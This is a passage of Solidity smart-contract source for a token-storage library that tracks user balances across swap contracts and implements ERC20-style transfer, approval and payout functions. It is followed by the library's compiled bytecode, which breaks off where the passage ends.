*@dev Called by the factory contract, and pays out to a _party
*@param _party being paid
*@param _swap address
*/
function pay(TokenStorage storage self,address _party, address _swap) public{
require(msg.sender == self.factory_contract);
uint party_balance_index = self.swap_balances_index[_swap][_party];
require(party_balance_index > 0);
uint party_swap_balance = self.swap_balances[_swap][party_balance_index].amount;
//reduces the users totals balance by the amount in that swap
self.user_total_balances[_party] = self.user_total_balances[_party].sub(party_swap_balance);
//reduces the total supply by the amount of that users in that swap
self.total_supply = self.total_supply.sub(party_swap_balance);
//sets the partys balance to zero for that specific swaps party balances
self.swap_balances[_swap][party_balance_index].amount = 0;
}
/**
*@dev Returns the users total balance (sum of tokens in all swaps the user has tokens in)
*@param _owner user address
*@return user total balance
*/
function balanceOf(TokenStorage storage self,address _owner) public constant returns (uint balance) {
return self.user_total_balances[_owner];
}
/**
*@dev Getter for the total_supply of tokens in the contract
*@return total supply
*/
function totalSupply(TokenStorage storage self) public constant returns (uint _total_supply) {
return self.total_supply;
}
/**
*@dev Removes the address from the swap balances for a swap, and moves the last address in the
*swap into their place
*@param _remove address of prevous owner
*@param _swap address used to get last addrss of the swap to replace the removed address
*/
function removeFromSwapBalances(TokenStorage storage self,address _remove, address _swap) internal {
uint last_address_index = self.swap_balances[_swap].length.sub(1);
address last_address = self.swap_balances[_swap][last_address_index].owner;
//If the address we want to remove is the final address in the swap
if (last_address != _remove) {
uint remove_index = self.swap_balances_index[_swap][_remove];
//Update the swap's balance index of the last address to that of the removed address index
self.swap_balances_index[_swap][last_address] = remove_index;
//Set the swap's Balance struct at the removed index to the Balance struct of the last address
self.swap_balances[_swap][remove_index] = self.swap_balances[_swap][last_address_index];
}
//Remove the swap_balances index for this address
delete self.swap_balances_index[_swap][_remove];
//Finally, decrement the swap balances length
self.swap_balances[_swap].length = self.swap_balances[_swap].length.sub(1);
}
/**
*@dev This is the main function to update the mappings when a transfer happens
*@param _from address to send funds from
*@param _to address to send funds to
*@param _amount amount of token to send
*/
function transferHelper(TokenStorage storage self,address _from, address _to, uint _amount) internal {
//Get memory copies of the swap arrays for the sender and reciever
address[] memory from_swaps = self.user_swaps[_from];
//Iterate over sender's swaps in reverse order until enough tokens have been transferred
for (uint i = from_swaps.length.sub(1); i > 0; i--) {
//Get the index of the sender's balance for the current swap
uint from_swap_user_index = self.swap_balances_index[from_swaps[i]][_from];
Balance memory from_user_bal = self.swap_balances[from_swaps[i]][from_swap_user_index];
//If the current swap will be entirely depleted - we remove all references to it for the sender
if (_amount >= from_user_bal.amount) {
_amount -= from_user_bal.amount;
//If this swap is to be removed, we know it is the (current) last swap in the user's user_swaps list, so we can simply decrement the length to remove it
self.user_swaps[_from].length = self.user_swaps[_from].length.sub(1);
//Remove the user swap index for this swap
delete self.user_swaps_index[_from][from_swaps[i]];
//If the _to address already holds tokens from this swap
if (self.user_swaps_index[_to][from_swaps[i]] != 0) {
//Get the index of the _to balance in this swap
uint to_balance_index = self.swap_balances_index[from_swaps[i]][_to];
assert(to_balance_index != 0);
//Add the _from tokens to _to
self.swap_balances[from_swaps[i]][to_balance_index].amount = self.swap_balances[from_swaps[i]][to_balance_index].amount.add(from_user_bal.amount);
//Remove the _from address from this swap's balance array
removeFromSwapBalances(self,_from, from_swaps[i]);
} else {
//Prepare to add a new swap by assigning the swap an index for _to
if (self.user_swaps[_to].length == 0){
self.user_swaps[_to].push(address(0x0));
}
self.user_swaps_index[_to][from_swaps[i]] = self.user_swaps[_to].length;
//Add the new swap to _to
self.user_swaps[_to].push(from_swaps[i]);
//Give the reciever the sender's balance for this swap
self.swap_balances[from_swaps[i]][from_swap_user_index].owner = _to;
//Give the reciever the sender's swap balance index for this swap
self.swap_balances_index[from_swaps[i]][_to] = self.swap_balances_index[from_swaps[i]][_from];
//Remove the swap balance index from the sending party
delete self.swap_balances_index[from_swaps[i]][_from];
}
//If there is no more remaining to be removed, we break out of the loop
if (_amount == 0)
break;
} else {
//The amount in this swap is more than the amount we still need to transfer
uint to_swap_balance_index = self.swap_balances_index[from_swaps[i]][_to];
//If the _to address already holds tokens from this swap
if (self.user_swaps_index[_to][from_swaps[i]] != 0) {
//Because both addresses are in this swap, and neither will be removed, we simply update both swap balances
self.swap_balances[from_swaps[i]][to_swap_balance_index].amount = self.swap_balances[from_swaps[i]][to_swap_balance_index].amount.add(_amount);
} else {
//Prepare to add a new swap by assigning the swap an index for _to
if (self.user_swaps[_to].length == 0){
self.user_swaps[_to].push(address(0x0));
}
self.user_swaps_index[_to][from_swaps[i]] = self.user_swaps[_to].length;
//And push the new swap
self.user_swaps[_to].push(from_swaps[i]);
//_to is not in this swap, so we give this swap a new balance index for _to
self.swap_balances_index[from_swaps[i]][_to] = self.swap_balances[from_swaps[i]].length;
//And push a new balance for _to
self.swap_balances[from_swaps[i]].push(Balance({
owner: _to,
amount: _amount
}));
}
//Finally, update the _from user's swap balance
self.swap_balances[from_swaps[i]][from_swap_user_index].amount = self.swap_balances[from_swaps[i]][from_swap_user_index].amount.sub(_amount);
//Because we have transferred the last of the amount to the reciever, we break;
break;
}
}
}
/**
*@dev ERC20 compliant transfer function
*@param _to Address to send funds to
*@param _amount Amount of token to send
*@return true for successful
*/
function transfer(TokenStorage storage self, address _to, uint _amount) public returns (bool) {
require(isWhitelisted(self,_to));
uint balance_owner = self.user_total_balances[msg.sender];
if (
_to == msg.sender ||
_to == address(0) ||
_amount == 0 ||
balance_owner < _amount
) return false;
transferHelper(self,msg.sender, _to, _amount);
self.user_total_balances[msg.sender] = self.user_total_balances[msg.sender].sub(_amount);
self.user_total_balances[_to] = self.user_total_balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
/**
*@dev ERC20 compliant transferFrom function
*@param _from address to send funds from (must be allowed, see approve function)
*@param _to address to send funds to
*@param _amount amount of token to send
*@return true for successful
*/
function transferFrom(TokenStorage storage self, address _from, address _to, uint _amount) public returns (bool) {
require(isWhitelisted(self,_to));
uint balance_owner = self.user_total_balances[_from];
uint sender_allowed = self.allowed[_from][msg.sender];
if (
_to == _from ||
_to == address(0) ||
_amount == 0 ||
balance_owner < _amount ||
sender_allowed < _amount
) return false;
transferHelper(self,_from, _to, _amount);
self.user_total_balances[_from] = self.user_total_balances[_from].sub(_amount);
self.user_total_balances[_to] = self.user_total_balances[_to].add(_amount);
self.allowed[_from][msg.sender] = self.allowed[_from][msg.sender].sub(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
/**
*@dev ERC20 compliant approve function
*@param _spender party that msg.sender approves for transferring funds
*@param _amount amount of token to approve for sending
*@return true for successful
*/
function approve(TokenStorage storage self, address _spender, uint _amount) public returns (bool) {
self.allowed[msg.sender][_spender] = _amount;
emit Approval(msg.sender, _spender, _amount);
return true;
}
/**
*@dev Counts addresses involved in the swap based on the length of balances array for _swap
*@param _swap address
*@return the length of the balances array for the swap
*/
function addressCount(TokenStorage storage self, address _swap) public constant returns (uint) {
return self.swap_balances[_swap].length;
}
/**
*@dev Gets the owner address and amount by specifying the swap address and index
*@param _ind specified index in the swap
*@param _swap specified swap address
*@return the owner address associated with a particular index in a particular swap
*@return the amount to transfer associated with a particular index in a particular swap
*/
function getBalanceAndHolderByIndex(TokenStorage storage self, uint _ind, address _swap) public constant returns (uint, address) {
return (self.swap_balances[_swap][_ind].amount, self.swap_balances[_swap][_ind].owner);
}
/**
*@dev Gets the index by specifying the swap and owner addresses
*@param _owner specifed address
*@param _swap specified swap address
*@return the index associated with the _owner address in a particular swap
*/
function getIndexByAddress(TokenStorage storage self, address _owner, address _swap) public constant returns (uint) {
return self.swap_balances_index[_swap][_owner];
}
/**
*@dev Look up how much the spender or contract is allowed to spend?
*@param _owner
*@param _spender party approved for transfering funds
*@return the allowed amount _spender can spend of _owner's balance
*/
function allowance(TokenStorage storage self, address _owner, address _spender) public constant returns (uint) {
return self.allowed[_owner][_spender];
}
}
|
0x734c102b6bad1d3e879ce07204d1089e3eed8b445030146080604052600436106100dc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806326f0385d146100e15780632b545c68146101585780632eff549c146101ac57806334aeb1641461023b5780634538d2c6146102cc578063486e55691461033b578063a431b538146103a8578063ad4848d214610408578063b1020f3714610455578063bf435c37146104c9578063d973df861461053d578063e2d6434614610571578063f2b156db146105c5575b600080fd5b8180156100ed57600080fd5b506101566004803603810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610634565b005b61019660048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610c77565b6040518082815260200191505060405180910390f35b8180156101b857600080fd5b5061022160048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610cc6565b604051808215151515815260200191505060405180910390f35b6102836004803603810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506110fd565b604051808381526020018273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390f35b8180156102d857600080fd5b5061032160048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111ec565b604051808215151515815260200191505060405180910390f35b81801561034757600080fd5b506103a660048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e1565b005b6103c660048036038101908080359060200190929190505050611558565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b81801561041457600080fd5b5061045360048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611586565b005b6104b360048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115cd565b6040518082815260200191505060405180910390f35b61052760048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611657565b6040518082815260200191505060405180910390f35b61055b600480360381019080803590602001909291905050506116e1565b6040518082815260200191505060405180910390f35b6105af60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116ef565b6040518082815260200191505060405180910390f35b8180156105d157600080fd5b5061061a60048036038101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061173b565b604051808215151515815260200191505060405180910390f35b8360000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561069257600080fd5b6106a98385600101546119d090919063ffffffff16565b8460010181905550610705838560060160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d090919063ffffffff16565b8460060160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008460040160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050141561083e578360040160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b8360040160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508460050160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508360040160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508360020160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040805190810160405280600073ffffffffffffffffffffffffffffffffffffffff16815260200160008152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015550505060018460030160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508360020160008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060408051908101604052808473ffffffffffffffffffffffffffffffffffffffff168152602001858152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101555050507fb378e89b40ac5bbe0e2241b596fbe1adc3cf1fb7c982aa1b4560165cf264ee938284604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a150505050565b60008260020160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050905092915050565b6000806000610cd587866119ee565b1515610ce057600080fd5b8660060160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491508660070160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508573ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480610e0b5750600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16145b80610e165750600084145b80610e2057508382105b80610e2a57508381105b15610e3857600092506110f3565b610e4487878787611af7565b610e98848860060160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3490919063ffffffff16565b8760060160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f31848860060160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d090919063ffffffff16565b8760060160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611007848860070160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3490919063ffffffff16565b8760070160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3600192505b5050949350505050565b6000808460020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110151561114e57fe5b9060005260206000209060020201600101548560020160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858154811015156111ae57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691509150935093915050565b6000818460070160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3600190509392505050565b6000808460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561134257600080fd5b8460030160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506000821115156113d257600080fd5b8460020160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561142057fe5b9060005260206000209060020201600101549050611488818660060160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3490919063ffffffff16565b8560060160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114e4818660010154612e3490919063ffffffff16565b856001018190555060008560020160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208381548110151561153c57fe5b9060005260206000209060020201600101819055505050505050565b60008160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b808260000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60008360070160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509392505050565b60008360030160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490509392505050565b600081600101549050919050565b60008260060160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008061174885856119ee565b151561175357600080fd5b8460060160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490503373ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806117fd5750600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b806118085750600083145b8061181257508281105b1561182057600091506119c8565b61182c85338686611af7565b611880838660060160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e3490919063ffffffff16565b8560060160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611919838660060160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119d090919063ffffffff16565b8560060160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3600191505b509392505050565b60008082840190508381101515156119e457fe5b8091505092915050565b6000808360000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff16633af32abf846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015611ab357600080fd5b505af1158015611ac7573d6000803e3d6000fd5b505050506040513d6020811015611add57600080fd5b810190808051906020019092919050505091505092915050565b6060600080611b046132c3565b6000808960040160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805480602002602001604051908101604052809291908181526020018280548015611bc857602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311611b7e575b50505050509550611be460018751612e3490919063ffffffff16565b94505b6000851115612e28578960030160008787815181101515611c0457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205493508960020160008787815181101515611c9c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002084815481101515611ced57fe5b90600052602060002090600202016040805190810160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001600182015481525050925082602001518710151561264d57826020015187039650611dd660018b60040160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050612e3490919063ffffffff16565b8a60040160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081611e2291906132f3565b508960050160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008787815181101515611e7457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000905560008a60050160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008888815181101515611f0f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151561212e578960030160008787815181101515611f6f57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205491506000821415151561200057fe5b61208d83602001518b6002016000898981518110151561201c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208481548110151561206d57fe5b9060005260206000209060020201600101546119d090919063ffffffff16565b8a600201600088888151811015156120a157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811015156120f257fe5b9060005260206000209060020201600101819055506121298a8a888881518110151561211a57fe5b90602001906020020151612e4d565b61263a565b60008a60040160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501415612222578960040160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b8960040160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508a60050160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600088888151811015156122b857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508960040160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020868681518110151561234f57fe5b9060200190602002015190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050878a600201600088888151811015156123d157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208581548110151561242257fe5b906000526020600020906002020160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550896003016000878781518110151561248557fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548a6003016000888881518110151561251b57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555089600301600087878151811015156125b457fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090555b600087141561264857612e28565b612e1a565b896003016000878781518110151561266157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905060008a60050160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000888881518110151561273857fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414151561288c5761280d878b6002016000898981518110151561279c57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020838154811015156127ed57fe5b9060005260206000209060020201600101546119d090919063ffffffff16565b8a6002016000888881518110151561282157fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208281548110151561287257fe5b906000526020600020906002020160010181905550612d12565b60008a60040160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490501415612980578960040160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b8960040160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508a60050160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008888815181101515612a1657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508960040160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208686815181101515612aad57fe5b9060200190602002015190806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508960020160008787815181101515612b2e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020805490508a60030160008888815181101515612b8a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508960020160008787815181101515612c2357fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060408051908101604052808a73ffffffffffffffffffffffffffffffffffffffff168152602001898152509080600181540180825580915050906001820390600052602060002090600202016000909192909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550602082015181600101555050505b612d9b878b60020160008989815181101515612d2a57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002086815481101515612d7b57fe5b906000526020600020906002020160010154612e3490919063ffffffff16565b8a60020160008888815181101515612daf57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002085815481101515612e0057fe5b906000526020600020906002020160010181905550612e28565b848060019003955050611be7565b50505050505050505050565b6000828211151515612e4257fe5b818303905092915050565b6000806000612eaa60018760020160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002080549050612e3490919063ffffffff16565b92508560020160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002083815481101515612efa57fe5b906000526020600020906002020160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1691508473ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141515613194578560030160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808660030160008673fffffffffff